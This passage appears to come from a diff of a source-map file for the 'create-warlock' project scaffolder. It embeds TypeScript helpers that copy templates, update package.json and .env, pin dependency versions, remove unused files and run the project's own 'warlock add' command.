\"database.tsx\"]) {\r\n      const filePath = path.resolve(configDir, fileName);\r\n\r\n      if (fileExists(filePath)) {\r\n        unlinkSync(filePath);\r\n      }\r\n    }\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Pick the home page implementation based on whether React was selected.\r\n   *\r\n   * The template ships BOTH a plain JSON controller (`home-page.controller.ts`)\r\n   * and a React-rendered page (`home-page.controller.tsx` + `HomePageComponent.tsx`).\r\n   * Exactly one survives the scaffold: React projects keep the `.tsx` page (its\r\n   * `react`/`react-dom` deps come from the `react` feature), every other project\r\n   * keeps the dependency-free JSON controller — so a fresh project never imports\r\n   * `react` unless it asked for it.\r\n   */\r\n  public configureHomePage(useReact: boolean) {\r\n    const controllers = this.path + \"/src/app/shared/controllers\";\r\n    const components = this.path + \"/src/app/shared/components\";\r\n\r\n    const remove = (file: string) => {\r\n      if (fileExists(file)) unlinkSync(file);\r\n    };\r\n\r\n    if (useReact) {\r\n      remove(controllers + \"/home-page.controller.ts\");\r\n    } else {\r\n      remove(controllers + \"/home-page.controller.tsx\");\r\n      remove(components + \"/HomePageComponent.tsx\");\r\n    }\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Install the selected optional features by delegating to the project's own\r\n   * `warlock add`. `--no-install` records every dependency in package.json and\r\n   * ejects configs / scripts / setup hooks WITHOUT installing — the caller runs\r\n   * one batched install afterwards. Versions come from core's feature map, so\r\n   * the scaffolder never duplicates them.\r\n   *\r\n   * `--no-install` is passed LAST on purpose: the CLI parser treats the\r\n   * positional after a bare flag as that flag's value, so it must follow the\r\n   * feature list, not precede it.\r\n   */\r\n  public async installFeatures(features: string[]) {\r\n    if (features.length === 0) return true;\r\n\r\n    return this.exec(`npx warlock add ${features.join(\" \")} --no-install`);\r\n  }\r\n\r\n  /**\r\n   * Get package json file\r\n   */\r\n  public get package() {\r\n    return this.json(\"package.json\");\r\n  }\r\n\r\n  public updateDotEnv() {\r\n    this.file(\".env\").replaceAll(\"appName\", this.name).save();\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Get env file to update\r\n   */\r\n  public get env() {\r\n    return this.file(\".env\");\r\n  }\r\n\r\n  public get name() {\r\n    return this.app.appName;\r\n  }\r\n\r\n  public get path() {\r\n    return this.app.appPath;\r\n  }\r\n\r\n  public file(relativePath: string) {\r\n    const fullPath = path.resolve(this.path, relativePath);\r\n\r\n    if (!this.files[fullPath]) {\r\n      this.files[fullPath] = file(fullPath);\r\n    }\r\n\r\n    return this.files[fullPath];\r\n  }\r\n\r\n  public json(relativePath: string): JsonFileManager {\r\n    const fullPath = path.resolve(this.path, relativePath);\r\n\r\n    if (!this.jsonFiles[fullPath]) {\r\n      this.jsonFiles[fullPath] = jsonFile(fullPath);\r\n    }\r\n\r\n    return this.jsonFiles[fullPath];\r\n  }\r\n}\r\n\r\nexport function app(app: Application) {\r\n  return new App(app);\r\n}\r\n\r\nexport class FileManager {\r\n  public content!: string;\r\n  public constructor(protected filePath: string) {\r\n    this.parseContent();\r\n  }\r\n\r\n  protected parseContent() {\r\n    this.content = getFile(this.filePath) as string;\r\n  }\r\n\r\n  public replace(search: string, replace: string) {\r\n    this.content = this.content.replace(search, replace);\r\n\r\n    return this;\r\n  }\r\n\r\n  public replaceAll(search: string, replace: string) {\r\n    this.content = this.content.replaceAll(search, replace);\r\n\r\n    return this;\r\n  }\r\n\r\n  public save() {\r\n    putFile(this.filePath, this.content);\r\n  }\r\n}\r\n\r\nexport class JsonFileManager extends FileManager {\r\n  protected parseContent() {\r\n    this.content = getJsonFile(this.filePath);\r\n  }\r\n\r\n  public save() {\r\n    putJsonFile(this.filePath, this.content);\r\n  }\r\n\r\n  public has(key: string) {\r\n    return this.content[key] !== undefined;\r\n  }\r\n\r\n  public replace(key: string, value: any) {\r\n    this.content[key] = value;\r\n\r\n    return this;\r\n  }\r\n\r\n  public replaceAll(key: string, value: any) {\r\n    const contentAsString = JSON.stringify(this.content);\r\n\r\n    this.content = JSON.parse(contentAsString.replaceAll(key, value));\r\n\r\n    return this;\r\n  }\r\n}\r\n\r\nexport function file(path: string) {\r\n  return new FileManager(path);\r\n}\r\n\r\nexport function jsonFile(path: string) {\r\n  return new JsonFileManager(path);\r\n}\r\n"],"mappings":"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"}
+{"version":3,"file":"app.mjs","names":[],"sources":["../../../../../../create-warlock/src/helpers/app.ts"],"sourcesContent":["import {\r\n  copyDirectory,\r\n  copyFile,\r\n  fileExists,\r\n  getFile,\r\n  getJsonFile,\r\n  putFile,\r\n  putJsonFile,\r\n  renameFile,\r\n} from \"@warlock.js/fs\";\r\nimport { unlinkSync } from \"node:fs\";\r\nimport path from \"path\";\r\nimport { AppOptions, Application } from \"../commands/create-new-app/types\";\r\nimport { getDatabaseDriver } from \"../features/database-drivers\";\r\nimport { executeCommand, runCommand } from \"./exec\";\r\nimport { getPackageManager } from \"./package-manager\";\r\nimport { packageRoot, Template, template } from \"./paths\";\r\nimport { fallbackRange } from \"./warlock-versions\";\r\n\r\n/**\r\n * Environment for every install the scaffolder spawns.\r\n *\r\n * A shell that exports `NODE_ENV=production` makes the package managers skip\r\n * every devDependency — and still exit 0. The scaffolded project needs its dev\r\n * toolchain (typescript, vitest, eslint) to be usable at all, so the install\r\n * child is pinned to `development` regardless of the ambient environment. A\r\n * silently incomplete install that reports success is the exact failure mode\r\n * this file exists to prevent.\r\n */\r\nexport function installEnvironment(): NodeJS.ProcessEnv {\r\n  return { NODE_ENV: \"development\" };\r\n}\r\n\r\nexport class App {\r\n  /**\r\n   * Resolved files\r\n   */\r\n  protected files: Record<string, FileManager> = {};\r\n\r\n  /**\r\n   * Resolved JSON files\r\n   */\r\n  protected jsonFiles: Record<string, JsonFileManager> = {};\r\n\r\n  public isInstalled = false;\r\n\r\n  public constructor(protected app: Application) {}\r\n\r\n  public get options(): AppOptions {\r\n    return this.app.options;\r\n  }\r\n\r\n  public use(templateName: Template) {\r\n    copyDirectory(template(templateName), this.path);\r\n\r\n    if (fileExists(this.path + \"/.env.example\")) {\r\n      copyFile(this.path + \"/.env.example\", this.path + \"/.env\");\r\n    }\r\n\r\n    renameFile(this.path + \"/_.gitignore\", this.path + \"/.gitignore\");\r\n\r\n    return this;\r\n  }\r\n\r\n  public init() {\r\n    return this;\r\n  }\r\n\r\n  public terminate() {\r\n    // No longer using outro, using showSuccessScreen instead\r\n  }\r\n\r\n  public install() {\r\n    return runCommand(getPackageManager(), [\"install\"], this.path, {\r\n      env: installEnvironment(),\r\n    });\r\n  }\r\n\r\n  public async exec(command: string) {\r\n    const [commandName, ...optionsList] = command.split(\" \");\r\n    return await executeCommand(commandName, optionsList, this.path);\r\n  }\r\n\r\n  public async git() {\r\n    const { initializeGitRepository } = await import(\r\n      \"./project-builder-helpers\"\r\n    );\r\n    return await initializeGitRepository(this.path);\r\n  }\r\n\r\n  /**\r\n   * Write the project's `package.json`: the project name, the chosen package\r\n   * manager, and the version of every `@warlock.js/*` dependency.\r\n   *\r\n   * `versions` comes from {@link resolveWarlockVersions} — versions the\r\n   * registry has confirmed exist. It is optional because the fluent chain is\r\n   * synchronous; without it every sibling gets the caret range floored to the\r\n   * scaffolder's major, which is always satisfiable by a published release.\r\n   *\r\n   * What it must NEVER do again is stamp the scaffolder's own version blind:\r\n   * the release tooling bumps that version on every build, published or not,\r\n   * so an unverified pin resolves to nothing and the install dies with ETARGET.\r\n   */\r\n  public updatePackageJson(versions: Record<string, string> = {}) {\r\n    const pkg = this.package\r\n      .replace(\"name\", this.name.replaceAll(\"/\", \"-\"))\r\n      .replaceAll(\"yarn\", getPackageManager());\r\n\r\n    const warlockVersion: string = (\r\n      getJsonFile(packageRoot(\"package.json\")) as { version: string }\r\n    ).version;\r\n    const defaultRange = fallbackRange(warlockVersion);\r\n    const content: any = pkg.content;\r\n\r\n    for (const field of [\"dependencies\", \"devDependencies\"] as const) {\r\n      const deps = content[field] as Record<string, string> | undefined;\r\n      if (!deps) continue;\r\n\r\n      for (const dependency of Object.keys(deps)) {\r\n        if (dependency.startsWith(\"@warlock.js/\")) {\r\n          deps[dependency] = versions[dependency] ?? defaultRange;\r\n        }\r\n      }\r\n    }\r\n\r\n    pkg.save();\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Configure the chosen database driver: wire `DB_DRIVER` / `DB_PORT` into\r\n   * `.env`, AND pin the driver's npm package (`mongodb` / `pg`) into the\r\n   * project's `package.json` dependencies.\r\n   *\r\n   * The dependency is written HERE — before the base `yarn install` — so the\r\n   * driver is pulled deterministically by the very first install. We do NOT\r\n   * rely on the post-copy `warlock add <driver> --no-install` + separate\r\n   * batched install, which can be skipped or fail and leave the driver\r\n   * missing (the \"mongodb package is not installed\" runtime error).\r\n   */\r\n  public configureDatabaseEnv(driverValue: string) {\r\n    const driver = getDatabaseDriver(driverValue);\r\n\r\n    if (!driver) return this;\r\n\r\n    // Pin the driver package into dependencies (idempotent — never downgrade).\r\n    const packageJsonPath = path.resolve(this.path, \"package.json\");\r\n    const packageJson = getJsonFile(packageJsonPath) as {\r\n      dependencies?: Record<string, string>;\r\n    };\r\n    packageJson.dependencies = packageJson.dependencies ?? {};\r\n    if (!packageJson.dependencies[driver.package]) {\r\n      packageJson.dependencies[driver.package] = driver.packageVersion;\r\n      putJsonFile(packageJsonPath, packageJson);\r\n    }\r\n\r\n    let envContent = getFile(this.path + \"/.env\") as string;\r\n\r\n    envContent = envContent.replace(/DB_PORT=\\d+/, `DB_PORT=${driver.defaultPort}`);\r\n\r\n    if (envContent.includes(\"DB_DRIVER=\")) {\r\n      envContent = envContent.replace(/DB_DRIVER=\\w*/, `DB_DRIVER=${driver.value}`);\r\n    } else {\r\n      envContent = envContent.replace(\r\n        /DB_PORT=\\d+/,\r\n        `DB_PORT=${driver.defaultPort}\\nDB_DRIVER=${driver.value}`,\r\n      );\r\n    }\r\n\r\n    putFile(this.path + \"/.env\", envContent);\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Remove the database layer for a \"no database\" scaffold.\r\n   *\r\n   * Deletes `src/config/database.ts` (and a `.tsx` variant if present) from the\r\n   * freshly-copied template. The framework's database connector is config-gated\r\n   * on that file — with it gone, `config.get(\"database\")` is undefined and the\r\n   * connector no-ops, so the app boots with no database wired and no driver\r\n   * package pulled. The `DB_*` lines in `.env` are left in place (harmless: no\r\n   * config reads them) as a ready template for adding a database back later.\r\n   */\r\n  public removeDatabaseConfig() {\r\n    const configDir = path.resolve(this.path, \"src/config\");\r\n\r\n    for (const fileName of [\"database.ts\", \"database.tsx\"]) {\r\n      const filePath = path.resolve(configDir, fileName);\r\n\r\n      if (fileExists(filePath)) {\r\n        unlinkSync(filePath);\r\n      }\r\n    }\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Pick the home page implementation based on whether React was selected.\r\n   *\r\n   * The template ships BOTH a plain JSON controller (`home-page.controller.ts`)\r\n   * and a React-rendered page (`home-page.controller.tsx` + `HomePageComponent.tsx`).\r\n   * Exactly one survives the scaffold: React projects keep the `.tsx` page (its\r\n   * `react`/`react-dom` deps come from the `react` feature), every other project\r\n   * keeps the dependency-free JSON controller — so a fresh project never imports\r\n   * `react` unless it asked for it.\r\n   */\r\n  public configureHomePage(useReact: boolean) {\r\n    const controllers = this.path + \"/src/app/shared/controllers\";\r\n    const components = this.path + \"/src/app/shared/components\";\r\n\r\n    const remove = (file: string) => {\r\n      if (fileExists(file)) unlinkSync(file);\r\n    };\r\n\r\n    if (useReact) {\r\n      remove(controllers + \"/home-page.controller.ts\");\r\n    } else {\r\n      remove(controllers + \"/home-page.controller.tsx\");\r\n      remove(components + \"/HomePageComponent.tsx\");\r\n    }\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Install the selected optional features by delegating to the project's own\r\n   * `warlock add`. `--no-install` records every dependency in package.json and\r\n   * ejects configs / scripts / setup hooks WITHOUT installing — the caller runs\r\n   * one batched install afterwards. Versions come from core's feature map, so\r\n   * the scaffolder never duplicates them.\r\n   *\r\n   * `--no-install` is passed LAST on purpose: the CLI parser treats the\r\n   * positional after a bare flag as that flag's value, so it must follow the\r\n   * feature list, not precede it.\r\n   */\r\n  public async installFeatures(features: string[]) {\r\n    if (features.length === 0) return true;\r\n\r\n    return this.exec(`npx warlock add ${features.join(\" \")} --no-install`);\r\n  }\r\n\r\n  /**\r\n   * Get package json file\r\n   */\r\n  public get package() {\r\n    return this.json(\"package.json\");\r\n  }\r\n\r\n  public updateDotEnv() {\r\n    this.file(\".env\").replaceAll(\"appName\", this.name).save();\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Get env file to update\r\n   */\r\n  public get env() {\r\n    return this.file(\".env\");\r\n  }\r\n\r\n  public get name() {\r\n    return this.app.appName;\r\n  }\r\n\r\n  public get path() {\r\n    return this.app.appPath;\r\n  }\r\n\r\n  public file(relativePath: string) {\r\n    const fullPath = path.resolve(this.path, relativePath);\r\n\r\n    if (!this.files[fullPath]) {\r\n      this.files[fullPath] = file(fullPath);\r\n    }\r\n\r\n    return this.files[fullPath];\r\n  }\r\n\r\n  public json(relativePath: string): JsonFileManager {\r\n    const fullPath = path.resolve(this.path, relativePath);\r\n\r\n    if (!this.jsonFiles[fullPath]) {\r\n      this.jsonFiles[fullPath] = jsonFile(fullPath);\r\n    }\r\n\r\n    return this.jsonFiles[fullPath];\r\n  }\r\n}\r\n\r\nexport function app(app: Application) {\r\n  return new App(app);\r\n}\r\n\r\nexport class FileManager {\r\n  public content!: string;\r\n  public constructor(protected filePath: string) {\r\n    this.parseContent();\r\n  }\r\n\r\n  protected parseContent() {\r\n    this.content = getFile(this.filePath) as string;\r\n  }\r\n\r\n  public replace(search: string, replace: string) {\r\n    this.content = this.content.replace(search, replace);\r\n\r\n    return this;\r\n  }\r\n\r\n  public replaceAll(search: string, replace: string) {\r\n    this.content = this.content.replaceAll(search, replace);\r\n\r\n    return this;\r\n  }\r\n\r\n  public save() {\r\n    putFile(this.filePath, this.content);\r\n  }\r\n}\r\n\r\nexport class JsonFileManager extends FileManager {\r\n  protected parseContent() {\r\n    this.content = getJsonFile(this.filePath);\r\n  }\r\n\r\n  public save() {\r\n    putJsonFile(this.filePath, this.content);\r\n  }\r\n\r\n  public has(key: string) {\r\n    return this.content[key] !== undefined;\r\n  }\r\n\r\n  public replace(key: string, value: any) {\r\n    this.content[key] = value;\r\n\r\n    return this;\r\n  }\r\n\r\n  public replaceAll(key: string, value: any) {\r\n    const contentAsString = JSON.stringify(this.content);\r\n\r\n    this.content = JSON.parse(contentAsString.replaceAll(key, value));\r\n\r\n    return this;\r\n  }\r\n}\r\n\r\nexport function file(path: string) {\r\n  return new FileManager(path);\r\n}\r\n\r\nexport function jsonFile(path: string) {\r\n  return new JsonFileManager(path);\r\n}\r\n"],"mappings":"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"}